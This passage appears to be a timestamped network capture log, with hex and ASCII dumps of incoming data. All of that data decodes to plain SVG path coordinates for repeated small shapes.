class="cls-4" d="M
2023-05-31 12:52:03 UTC	4302	IN	Data Raw: 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 33 31 2e 35 37 2c 32 39 37 2e 38 34 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 33 31 2e 33 34 2c 32 39 30 2e 39 31 61 31 2e 37 Data Ascii: 0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"></path><path class="cls-4" d="M731.57,297.84a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.39,2.39,0,0,1,.52-2.88,2.24,2.24,0,0,1,2.89,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M731.34,290.91a1.7
2023-05-31 12:52:03 UTC	4318	IN	Data Raw: 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 34 39 2e 34 32 2c 32 30 30 2e 30 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 34 39 2e 31 39 2c 31 39 33 2e 31 32 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d Data Ascii: th><path class="cls-4" d="M749.42,200.06a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.11,2.11,0,0,1,.16,2.85"></path><path class="cls-4" d="M749.19,193.12a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-
2023-05-31 12:52:03 UTC	4334	IN	Data Raw: 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 38 30 2e 36 35 2c 32 38 39 2e 32 34 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 Data Ascii: ,1.72,0,0,1-.78,2.23,2.5,2.5,0,0,1-3.33-.94,2.37,2.37,0,0,1,.51-2.88,2.24,2.24,0,0,1,2.89,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M780.65,289.24a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2
2023-05-31 12:52:03 UTC	4350	IN	Data Raw: 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 39 38 2e 35 2c 31 39 31 2e 34 35 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 Data Ascii: .34-.94,2.41,2.41,0,0,1,.52-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"></path><path class="cls-4" d="M798.5,191.45a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"></path
2023-05-31 12:52:03 UTC	4366	IN	Data Raw: 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 30 2c 32 38 37 2e 35 37 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 32 39 2e 37 32 2c 32 38 30 2e 36 33 61 31 2e 37 32 2c 31 2e 37 Data Ascii: 0,1,2.89,0,2.11,2.11,0,0,1,.16,2.86"></path><path class="cls-4" d="M830,287.57a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"></path><path class="cls-4" d="M829.72,280.63a1.72,1.7
2023-05-31 12:52:03 UTC	4382	IN	Data Raw: 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 37 2e 38 31 2c 31 38 39 2e 37 39 41 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2c 38 34 37 2c 31 39 32 61 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 37 2e 35 37 2c 31 38 32 2e 38 35 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 31 Data Ascii: 0,1,.16,2.86"></path><path class="cls-4" d="M847.81,189.79A1.72,1.72,0,0,1,847,192a2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"></path><path class="cls-4" d="M847.57,182.85a1.73,1.73,0,0,1-.78,2.24,2.51
2023-05-31 12:52:03 UTC	4398	IN	Data Raw: 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 32 37 2c 32 38 35 2e 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2c 32 37 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 Data Ascii: s="cls-4" d="M879.27,285.9a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"></path><path class="cls-4" d="M879,279a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.5
2023-05-31 12:52:03 UTC	4414	IN	Data Raw: 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 39 36 2e 38 38 2c 31 38 31 2e 31 38 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 Data Ascii: 0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"></path><path class="cls-4" d="M896.88,181.18a1.72,1.72,0,0,1-.78,2.24,2.51,2.51,0,0,1-3.33-.94,2.39,2.39,0,0,1,.51-2.89,2.24,2.24,0,0,1,2.89,0
2023-05-31 12:52:03 UTC	4430	IN	Data Raw: 2d 33 2e 33 34 2d 31 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 38 2e 33 35 2c 32 37 37 2e 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 Data Ascii: -3.34-1,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M928.35,277.3a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"></path><p
2023-05-31 12:52:03 UTC	4446	IN	Data Raw: 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 33 38 2e 32 31 2c 32 39 33 2e 32 34 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 33 38 2e 34 34 2c 33 30 30 2e 30 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 Data Ascii: 0,0,1-.16-2.82"></path><path class="cls-4" d="M1038.21,293.24a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M1038.44,300.07a1.7,1.7,0,0,1,.77-2.2,2.47
2023-05-31 12:52:03 UTC	4462	IN	Data Raw: 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 30 37 2e 34 35 2c 32 30 35 2e 34 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 30 37 2e 36 39 2c 32 31 32 2e 32 34 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d Data Ascii: cls-4" d="M1007.45,205.41a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"></path><path class="cls-4" d="M1007.69,212.24a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-
2023-05-31 12:52:03 UTC	4478	IN	Data Raw: 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 37 36 2e 39 33 2c 31 32 34 2e 34 32 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 37 37 2e 31 36 2c 31 33 31 2e 32 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 Data Ascii: .08,0,0,1-.15-2.81"></path><path class="cls-4" d="M976.93,124.42a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.38,2.38,0,0,1-.51,2.85,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"></path><path class="cls-4" d="M977.16,131.24a1.7,1.7,0,0,1,.77-2.2,2.4
2023-05-31 12:52:03 UTC	4494	IN	Data Raw: 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 35 39 2e 38 32 2c 32 33 34 2e 33 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d Data Ascii: -.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M959.82,234.37a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M
2023-05-31 12:52:03 UTC	4511	IN	Data Raw: 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 39 2e 33 2c 31 35 33 2e 33 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c Data Ascii: ,1,3.29.93,2.37,2.37,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"></path><path class="cls-4" d="M929.3,153.37a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"></path><
2023-05-31 12:52:03 UTC	4527	IN	Data Raw: 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 31 32 2e 31 38 2c 32 36 33 2e 33 33 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 31 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c Data Ascii: 2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"></path><path class="cls-4" d="M912.18,263.33a1.71,1.71,0,0,1,.77-2.21,2.49,2.49,0,0,1,3.29.93,2.37,2.37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,
2023-05-31 12:52:03 UTC	4543	IN	Data Raw: 4d 38 38 31 2e 34 33 2c 31 37 35 2e 35 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 38 31 2e 36 36 2c 31 38 32 2e 33 33 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c Data Ascii: M881.43,175.5a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"></path><path class="cls-4" d="M881.66,182.33a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,
2023-05-31 12:52:03 UTC	4559	IN	Data Raw: 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 36 34 2e 33 31 2c 32 38 35 2e 34 35 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 36 34 2e 35 34 2c 32 39 32 2e 32 38 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 Data Ascii: </path><path class="cls-4" d="M864.31,285.45a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"></path><path class="cls-4" d="M864.54,292.28a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93
2023-05-31 12:52:03 UTC	4575	IN	Data Raw: 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 33 2e 37 39 2c 32 30 34 2e 34 36 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 31 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 34 2c 32 31 31 2e 32 38 61 31 2e 37 2c 31 2e 37 2c Data Ascii: 